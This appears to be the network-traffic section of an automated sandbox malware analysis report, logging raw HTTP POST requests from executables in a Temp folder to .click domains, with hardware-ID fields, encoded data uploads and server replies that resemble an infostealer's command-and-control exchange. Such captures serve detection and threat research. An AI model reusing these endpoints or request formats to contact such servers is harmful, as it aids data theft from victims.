form-data; name="pid"1--ZT31H0N7RMYNK2B38Content-Disposition: form-data; name="lid"FATE99--test--
2024-12-20 03:12:33 UTC	15331	OUT	Data Raw: 66 2b d3 cf bf 32 7f 39 ff 2a bb a2 f4 0f 2b 61 70 b7 d8 ad 97 0c 31 c9 9f ad 0c 89 94 32 65 f8 62 5a 41 41 84 89 14 92 b7 a0 f7 72 03 02 7d af c4 66 a6 8d 27 7f e0 c0 99 57 1d 75 90 f7 79 58 78 9d 80 a6 1e 14 ea df fe 75 48 55 90 82 ad 69 70 45 8a a1 8f 8f 6c ba 55 5d a2 6e a1 fa bc 0b 5b 97 92 3f f0 f2 3c f2 2d 10 24 19 02 e1 f6 2d 28 d5 68 e6 11 e5 c8 aa 4b 5a 01 da 50 fe 2f 71 b9 0b 24 d7 bc a2 b3 10 ad 75 fe bb 4f 30 98 3a 62 c1 a8 d7 c5 68 f9 c4 c6 2a 62 5a 47 1a 14 d6 f6 36 c0 56 07 7a 88 ef bb eb 2c 4f 9d 75 89 56 fc da 69 ab ad 12 dd 25 29 48 2e 5a 30 f1 1d 3f bc 5c a8 8e 3b 67 e2 f2 34 0a 77 e8 71 98 a3 c8 e6 e2 db e6 8d d7 3f 60 be ba 3a 6f 59 96 5c 1d 7e 31 cf a8 a6 b4 3c ae de c3 a8 d2 e5 b1 1f 8b 13 63 2d 8c 21 08 a3 6f 2e 3a 69 6a 51 6d f0 Data Ascii: f+29+ap12ebZAAr}f'WuyXxuHUipElU]n[?<-$-(hKZP/q$uO0:bhbZG6Vz,OuVi%)H.Z0?\;g4wq?`:oY\~1<c-!o.:ijQm
2024-12-20 03:12:33 UTC	15331	OUT	Data Raw: fb a1 4f b2 b6 fc a8 3b 72 09 23 c9 1d ce c9 3e ee 0d b9 0b c4 1c ab 08 c4 db 94 a1 d5 2d eb 72 7c 1b e9 75 44 99 47 b4 14 b5 ef f7 b0 61 86 de c0 db ce 6a e3 75 cd 8a 0e 65 c8 47 ae ec 8f 6e 6e 9d 4b d4 4a e7 b0 db bf ef 07 37 ec d8 7d 26 73 41 06 03 d7 5e 67 5e fb f1 cb ff db d3 3f e6 66 8a db 42 9a 8e 56 f6 f8 f1 8b 2b fa bd f6 4f 60 82 ed f9 27 2d e2 63 c2 0f 3d 58 b8 28 c2 13 78 a0 ca 63 10 69 a2 20 3f 62 e0 8b 63 40 94 10 d4 16 5c b2 9b a7 7d 32 7d bd 06 eb 3a 09 59 26 1d 4c 2f 03 1c 49 cf 7d 57 36 21 78 dc 8d 62 01 07 4c 5b 12 cd 7f ed 54 9d a9 92 fc 7a 5e eb f4 ff 7e b6 10 02 d6 50 00 8d 24 b7 1f d7 ff 73 67 2f bf dd 90 86 c4 b5 18 42 a0 6e 1d a3 2b d4 72 89 5c 25 3e 2e d5 99 f2 52 86 9b 0c 11 45 50 25 87 1d b3 e3 83 84 1b 99 6a f1 3f 60 87 b3 7f Data Ascii: O;r#>-r\|uDGajueGnnKJ7}&sA^g^?fBV+O`'-c=X(xci ?bc@\}2}:Y&L/I}W6!xbL[Tz^~P$sg/Bn+r\%>.REP%j?`
2024-12-20 03:12:33 UTC	15331	OUT	Data Raw: 02 4b 56 ac d7 d6 6a 83 dc 2e d6 38 7a 88 ae 66 08 2c 71 6e 67 39 8d e2 ea 75 ef 19 d3 04 c6 bc d6 bf 2d 74 05 34 2d a2 30 45 bf 8c 8c c4 92 39 59 b9 d5 3f c3 1e 1d 1a 50 1c 1f d6 5d db bd a9 42 a0 24 6c 4e 62 69 ef f3 c7 41 73 07 08 e6 13 4f 9a 3d e6 f2 31 3c 98 1b b2 3d f0 cf f4 c3 96 8d b0 a5 9b 3b ea 33 4e f9 fc a3 bb d9 2d 1a e3 29 3d 41 bc 74 5c c7 17 7b c5 2a 6e 5e 80 c1 8f fc 1a cf 8c 6b 8b a3 c4 33 f7 8f 4a 9f 25 36 f9 69 74 89 af 7f 2c d7 e3 e3 62 23 03 b9 fc 26 40 fd 71 23 7d 2d c9 da 6d f3 87 05 b2 a6 7f 1e f3 79 22 82 61 46 1e aa 35 9e fe ad 62 5c 82 8e 4c 52 eb 0d 5e 73 f8 f7 03 07 b0 f3 45 73 3f 16 98 97 36 ba 33 aa 0f e0 49 71 20 d0 6b 61 c1 df 01 3d 09 6d 2c d8 85 a4 07 59 b3 b7 4e 16 86 4d 09 b4 c5 03 f5 08 78 29 59 81 d1 bb f1 66 c1 39 Data Ascii: KVj.8zf,qng9u-t4-0E9Y?P]B$lNbiAsO=1<=;3N-)=At\{*n^k3J%6it,b#&@q#}-my"aF5b\LR^sEs?63Iq ka=m,YNMx)Yf9
2024-12-20 03:12:33 UTC	15331	OUT	Data Raw: b0 17 25 dd 77 73 ed e7 c8 63 48 e7 a7 e4 6e 80 09 5c ea 75 64 de 29 9a 93 f3 38 7d f9 5b 08 51 a2 93 a0 71 ef 48 db fe e9 e4 f0 39 cb db 8b aa 75 37 6e 52 6d 27 85 0e 6b 16 24 de 14 fd 99 7c 2d e4 df 7b 36 ea 4d b6 21 27 0a d1 85 e2 b7 a4 7e 8c 8d 1e fa 06 51 f3 f6 41 cc 9d 78 18 87 41 b2 15 2f 88 fa 9e 98 2f 03 a4 af 12 dd 20 aa fe 39 e9 22 f7 17 ff ed c1 8b 03 f3 f1 55 e3 6c f5 40 eb d3 fa 6b 01 7f ad 1c c0 9f ca 0d ec 0c ab ae b1 ac 1c 39 42 24 f0 39 6c 5f e4 47 1a 3b ea 2c 09 71 ee 36 3c b4 0f 42 09 3e 20 41 13 c8 33 8c b0 c1 18 58 23 91 9a 24 e1 46 bd d0 ce cb e0 e9 f4 27 20 76 52 4b 39 3f 1b 73 18 a2 e6 f0 d6 b7 80 fa c2 54 a8 a9 3b 2f 7e eb 8a 06 95 7b 5e ed dc b3 f1 30 0d e6 5e 31 23 19 6f 30 0a d2 7d 05 6f f0 d6 7a aa 28 e4 2c 38 a1 8c b5 d8 0d Data Ascii: %wscHn\ud)8}[QqH9u7nRm'k$\|-{6M!'~QAxA// 9"Ul@k9B$9l_G;,q6<B> A3X#$F' vRK9?sT;/~{^0^1#o0}oz(,8
2024-12-20 03:12:33 UTC	15331	OUT	Data Raw: e6 2b 66 e7 f2 70 a1 f7 da de e9 42 60 f5 8c d1 9f 17 c8 1c 72 2b 8b 6c 59 8b 2e de 12 2d 66 bf 66 f1 05 8b c5 91 05 b6 2f 19 51 73 c0 e1 b1 ad ab 52 ea 6b 33 bc 94 5a fd a9 9d cb 6d 73 86 64 de 99 ea 87 64 b6 b1 57 49 ba 89 61 ad 59 2d 05 59 6f 40 22 5a 78 29 af 86 73 d2 96 2b aa 05 d4 6f 1f d4 e1 e4 47 ba e2 21 e5 87 22 b3 02 9f de 7a 71 42 ae a8 de a6 47 49 ca 03 02 c3 d7 6f 2c ee e5 aa 93 59 e8 2d 99 bd 04 9b f5 37 91 c8 2c f5 6f 6d 53 cb ab 34 7c 25 b8 7d 68 b6 da 7a ec e5 5a 1e fd 0b 9a 52 0a 7c 3d 4a 15 ea e1 b5 4b 1a 4c 61 c0 be 8a 06 0a b8 e3 80 55 c8 c6 c3 3f 5e 04 e8 75 a6 94 79 ca 00 83 ef 20 f8 a4 16 6a eb 6b d6 e0 8d 50 fa 59 ee cd d3 ac 48 1b f5 5f 35 57 0f fb 39 e5 ae bc 97 00 b2 27 6f a4 69 d4 85 3c 1b 38 21 79 13 e8 48 bb 65 81 b7 7a 28 Data Ascii: +fpB`r+lY.-ff/QsRk3ZmsddWIaY-Yo@"Zx)s+oG!"zqBGIo,Y-7,omS4\|%}hzZR\|=JKLaU?^uy jkPYH_5W9'oi<8!yHez(
2024-12-20 03:12:33 UTC	15331	OUT	Data Raw: 5f 5a 3e dd 75 3d 96 70 50 2b 17 68 a1 c3 5e 3f 7e 4a ef db ea 25 78 68 36 08 ab b4 ee 17 d0 4a 10 3c b4 9c f7 20 81 b2 c7 e5 9b 97 99 63 4e 78 07 bb 6a ad d0 90 6b 8a f9 94 18 d4 be a8 3a 17 64 e2 f2 bc c6 ac e7 75 04 e3 64 4d 9b 71 6a d4 8b f4 a9 88 03 4c a3 60 96 c4 f9 b2 58 3e 93 e8 de 88 a4 18 cf df c8 a4 8d cd 2c 51 e2 af 8f 4b a7 17 74 06 74 5a 17 8c ba 42 3e 9a cc ed 9e df bc 23 d3 bd 58 35 bd 89 5f 9c 07 1b d0 f8 47 f9 1b 25 d6 0d 87 93 f8 b7 c6 a2 81 a1 af 90 f2 ee ff 8d 89 f9 4f 97 cd 5d bd 01 8b fd 1d dc 09 71 4c 51 b4 68 1a 52 50 64 6b 40 8b e8 b3 6c 6d c9 58 cb d7 0b 55 fd 7e ed 05 ae 4f c2 95 c8 48 94 62 97 d0 5f ae ba 1f c4 eb 83 26 45 30 f4 a7 2f 05 a2 4f 27 38 fc 67 01 c8 02 92 01 87 60 28 d8 7e 8b 71 15 27 62 0a c1 d1 30 c4 27 0f 72 8f Data Ascii: _Z>u=pP+h^?~J%xh6J< cNxjk:dudMqjL`X>,QKttZB>#X5_G%O]qLQhRPdk@lmXU~OHb_&E0/O'8g`(~q'b0'r
2024-12-20 03:12:33 UTC	15331	OUT	Data Raw: 07 28 7d 0a 10 5f 57 a4 6a 72 3e 7d 5c 96 94 e9 2d 9f fe c8 cc f4 7c ac ac b6 63 14 67 5e bb b8 0b 33 d5 ad c3 fc 0d 20 8b af 41 3e 0a 8a 05 c1 5f 56 5a 9d e7 af 4f e4 05 39 71 98 24 82 5d 5a 29 ef 25 dd b3 d9 b6 c4 d9 5e 7d b7 85 fb a4 79 95 61 ab 80 56 39 cd c7 07 49 71 ee 83 85 43 b6 35 cb cf 33 df c8 81 13 1f 46 65 34 4a b6 41 a4 c6 48 b7 e2 15 dd f7 fb de 3a 1e 0e b7 90 06 f1 25 80 89 06 7d f6 3c aa b2 f6 25 89 67 c3 e0 85 71 d6 ee d0 5b c5 06 04 3d 10 57 58 b0 8d a0 17 38 ea 24 fe eb b9 82 b5 13 ed ba 32 12 7e 73 0e e6 87 ea bd 48 f4 4a ff 46 fc 24 2b a1 8e 99 1c 42 03 d7 e3 97 af b0 1e 2e 88 7e af ba 3f 26 7d a0 04 f9 63 31 67 d1 19 d0 7d e8 47 c6 d6 cc 85 ec 26 b9 3b c1 99 1e 0b 7a 93 87 66 6b c0 2a 7e ce 2f 6d 89 5b e6 e3 00 fb b6 22 c4 2c 21 32 Data Ascii: (}_Wjr>}\-\|cg^3 A>_VZO9q$]Z)%^}yaV9IqC53Fe4JAH:%}<%gq[=WX8$2~sHJF$+B.~?&}c1g}G&;zfk*~/m[",!2
2024-12-20 03:12:33 UTC	15331	OUT	Data Raw: 66 5e 91 20 e0 63 26 0c 13 6d a2 5d f5 6f e3 17 43 7a bd 96 e4 1b 00 cf 5c 0c 25 13 8b 10 93 61 65 36 23 9f 9b 39 fa 00 a9 35 ad e7 c3 b7 88 2a 02 f7 97 47 fa 1c 54 dc 14 73 c7 d2 15 fb ac 40 10 e6 5c a4 0b b4 78 05 ef 18 b7 f8 6f 0c 1c 9f 6a f4 45 06 40 13 d5 4c 15 99 f3 b6 8c ae 30 76 84 5f 87 e4 c1 f7 0a 05 71 a1 4a 9c 73 7b ba 4b 00 55 37 71 e1 e5 11 0f a1 48 c1 d4 c2 8e 73 45 c5 19 18 5d 2c e5 ce 76 4b a1 70 91 95 b1 b5 ec 6f 49 79 56 d1 96 33 5b f4 ff dc 05 fa 95 06 42 21 c9 a6 6c b0 40 b9 93 5d e5 d0 fa aa 05 01 da f6 62 59 04 cd f2 c2 dd 1e 16 3e e1 29 33 a4 da ea fe f5 d9 2f 2b 78 f4 42 84 08 26 51 05 be c4 3b 71 e1 96 d1 c8 5c e2 77 4e 91 a0 da 37 b4 23 60 4a 6d b7 c6 fb 22 cc 4c 11 81 db c9 6f 65 f6 f4 45 c8 a1 7a 5e 92 67 c4 33 ef 96 af ec 92 Data Ascii: f^ c&m]oCz\%ae6#95*GTs@\xojE@L0v_qJs{KU7qHsE],vKpoIyV3[B!l@]bY>)3/+xB&Q;q\wN7#`Jm"LoeEz^g3
2024-12-20 03:12:33 UTC	15331	OUT	Data Raw: f7 48 77 6e 19 2a 76 0a 6c db c7 57 e3 b7 c4 4a 77 6d 79 8c 52 28 fd c1 e7 5e 59 1d f8 eb 9a 47 1d 31 cb f3 6a fe 9d e7 7b 6d 03 a8 69 56 54 76 6f d8 b5 0b 97 7f 90 f1 37 58 e6 06 3b 73 f6 3f a7 7b 0b c9 89 e6 32 95 73 2f 00 f4 1b 62 5c 93 fc bd 16 a7 57 dc f1 12 c0 4f b1 e7 60 01 29 73 85 3f a2 41 f7 c5 93 02 05 e2 7d a2 25 62 f3 b1 dc 9d 92 ae 72 6d 1e 40 81 40 46 81 92 4b 52 bb cf 11 a6 4f c5 4c 4f 31 36 63 15 b4 78 5b a3 a3 77 60 15 b6 41 85 40 5f 5e c8 b2 18 82 0c 5e 65 ee b9 9d f8 95 f4 de 6e 5e 2b c4 88 3c fd dc d6 3d f0 d2 4e 69 7d 12 c9 00 a9 1f 45 f3 07 e7 5b bc 0c c0 09 67 41 30 cf d5 ab 0f 6f 97 23 33 ac 4b a1 a2 a3 c9 bb 66 72 5b 93 66 e8 12 51 21 22 6c 2c bf e3 e9 ab 64 41 0a 38 dd fe 57 be a2 99 9c 29 3f 80 9b 8b 1f bb 62 28 14 1e b0 2e 09 Data Ascii: Hwn*vlWJwmyR(^YG1j{miVTvo7X;s?{2s/b\WO`)s?A}%brm@@FKROLO16cx[w`A@_^^en^+<=Ni}E[gA0o#3Kfr[fQ!"l,dA8W)?b(.
2024-12-20 03:12:37 UTC	1137	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 03:12:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1q1t6uaudmlgnpv9ig05lsj7in; expires=Mon, 14 Apr 2025 20:59:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rteu6AwUP65s5TE2mejMy7Xbo%2FDJikG3yAbhaQoo3Wb0fMmduc5hpLgv27gA1zPv8%2FE6CJl5OloFOxxX5uaR8GHWm3YsnQCoA2L%2FFa3oivoW%2FbVMEyo%2FoeZY36ucXhrtW7S3cq3K"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4c73932aa37ce7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2094&min_rtt=2093&rtt_var=788&sent=195&recv=568&lost=0&retrans=0&sent_bytes=2848&recv_bytes=549592&delivery_rate=1385199&cwnd=199&unsent_bytes=0&cid=78f75c2d36f445c9&ts=3801&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49840	104.21.91.209	443	6856	C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 03:12:33 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9IS4VK95Z3B3FYUVW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8780 Host: treehoneyi.click
2024-12-20 03:12:33 UTC	8780	OUT	Data Raw: 2d 2d 39 49 53 34 56 4b 39 35 5a 33 42 33 46 59 55 56 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 45 34 45 39 35 30 42 41 37 35 34 46 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 39 49 53 34 56 4b 39 35 5a 33 42 33 46 59 55 56 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 39 49 53 34 56 4b 39 35 5a 33 42 33 46 59 55 56 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d Data Ascii: --9IS4VK95Z3B3FYUVWContent-Disposition: form-data; name="hwid"E6E4E950BA754FDDAC8923850305D13E--9IS4VK95Z3B3FYUVWContent-Disposition: form-data; name="pid"2--9IS4VK95Z3B3FYUVWContent-Disposition: form-data; name="lid"rAGxSF--Support
2024-12-20 03:12:34 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 03:12:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=06bm7dltinn8pcjh437fgdbjs0; expires=Mon, 14 Apr 2025 20:59:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sv%2BW8nTwKge%2BRGo%2FRIlvC7buhWybFuZJXqjMi5GBmLwxFhW%2FZltKGK%2FiuDklX%2B0M1IsOacP3wRYlIJYyh3OmY9kWH%2BPpLtLInLal4H3ixGwqlkJppQvg7IClmh5WCiK19AS8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4c7393ce3b438a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2441&min_rtt=2440&rtt_var=917&sent=9&recv=14&lost=0&retrans=0&sent_bytes=2839&recv_bytes=9718&delivery_rate=1191350&cwnd=210&unsent_bytes=0&cid=f0c1de9282026563&ts=824&x=0"
2024-12-20 03:12:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 03:12:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49847	104.21.91.209	443	6856	C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 03:12:36 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OCHBTQCVZ49HDF070E User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20439 Host: treehoneyi.click
2024-12-20 03:12:36 UTC	15331	OUT	Data Raw: 2d 2d 4f 43 48 42 54 51 43 56 5a 34 39 48 44 46 30 37 30 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 45 34 45 39 35 30 42 41 37 35 34 46 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4f 43 48 42 54 51 43 56 5a 34 39 48 44 46 30 37 30 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4f 43 48 42 54 51 43 56 5a 34 39 48 44 46 30 37 30 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f Data Ascii: --OCHBTQCVZ49HDF070EContent-Disposition: form-data; name="hwid"E6E4E950BA754FDDAC8923850305D13E--OCHBTQCVZ49HDF070EContent-Disposition: form-data; name="pid"3--OCHBTQCVZ49HDF070EContent-Disposition: form-data; name="lid"rAGxSF--Suppo
2024-12-20 03:12:36 UTC	5108	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-12-20 03:12:36 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 03:12:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pqeu1a9rlgpof5pi5s1p8hshg9; expires=Mon, 14 Apr 2025 20:59:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6i94V78Qh6pKymw64jj7H8txbDkqeogYXWiGN2%2FZb1YkCWnPIE27EVytCxOBDPTuqKNrc5588yYuJMseIoLJK1Z9ZQhpXH0Y%2BO8og7DJAsRJaftBemkZDKWJXVs6HVE%2BoPDA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4c73a21cbb7d02-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1818&min_rtt=1802&rtt_var=707&sent=16&recv=25&lost=0&retrans=0&sent_bytes=2840&recv_bytes=21401&delivery_rate=1512953&cwnd=230&unsent_bytes=0&cid=6689efb6d888ba9b&ts=1011&x=0"
2024-12-20 03:12:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 03:12:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49855	104.21.23.76	443	1028	C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 03:12:38 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 81 Host: pancakedipyps.click
2024-12-20 03:12:38 UTC	81	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d 26 68 77 69 64 3d 45 36 45 34 45 39 35 30 42 41 37 35 34 46 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=FATE99--test&j=&hwid=E6E4E950BA754FDDAC8923850305D13E
2024-12-20 03:12:39 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 03:12:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vq3o86i5pi49pee39ke7r4eidr; expires=Mon, 14 Apr 2025 20:59:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2zdQnZexlzndQyjf6636Dfr5a6tdsVlAXmCpGMBCqCpMuDXzF77O4%2F2LvqFQ8a%2BW1siStsZVZuJmwvTJjmkr7qeWL7vda7tvIOtevoSgqnRog%2BRYnfLpCm7iOd%2Fvx0L%2FcFF94pRJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4c73b44cb2429b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1904&min_rtt=1897&rtt_var=727&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=984&delivery_rate=1490556&cwnd=237&unsent_bytes=0&cid=74c52d6faa911370&ts=786&x=0"
2024-12-20 03:12:39 UTC	54	IN	Data Raw: 33 30 0d 0a 51 4a 54 62 70 51 51 63 4d 56 50 6c 71 75 78 6c 7a 77 49 31 2b 6a 50 5a 4d 66 63 55 74 2b 48 55 68 57 62 39 58 6b 76 58 34 46 67 62 79 51 3d 3d 0d 0a Data Ascii: 30QJTbpQQcMVPlquxlzwI1+jPZMfcUt+HUhWb9XkvX4FgbyQ==
2024-12-20 03:12:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49856	104.21.91.209	443	6856	C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 03:12:39 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=X2KD0CB6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1217 Host: treehoneyi.click
2024-12-20 03:12:39 UTC	1217	OUT	Data Raw: 2d 2d 58 32 4b 44 30 43 42 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 45 34 45 39 35 30 42 41 37 35 34 46 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 58 32 4b 44 30 43 42 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 58 32 4b 44 30 43 42 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 58 32 4b 44 30 43 42 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 Data Ascii: --X2KD0CB6Content-Disposition: form-data; name="hwid"E6E4E950BA754FDDAC8923850305D13E--X2KD0CB6Content-Disposition: form-data; name="pid"1--X2KD0CB6Content-Disposition: form-data; name="lid"rAGxSF--Support--X2KD0CB6Content-Dispos
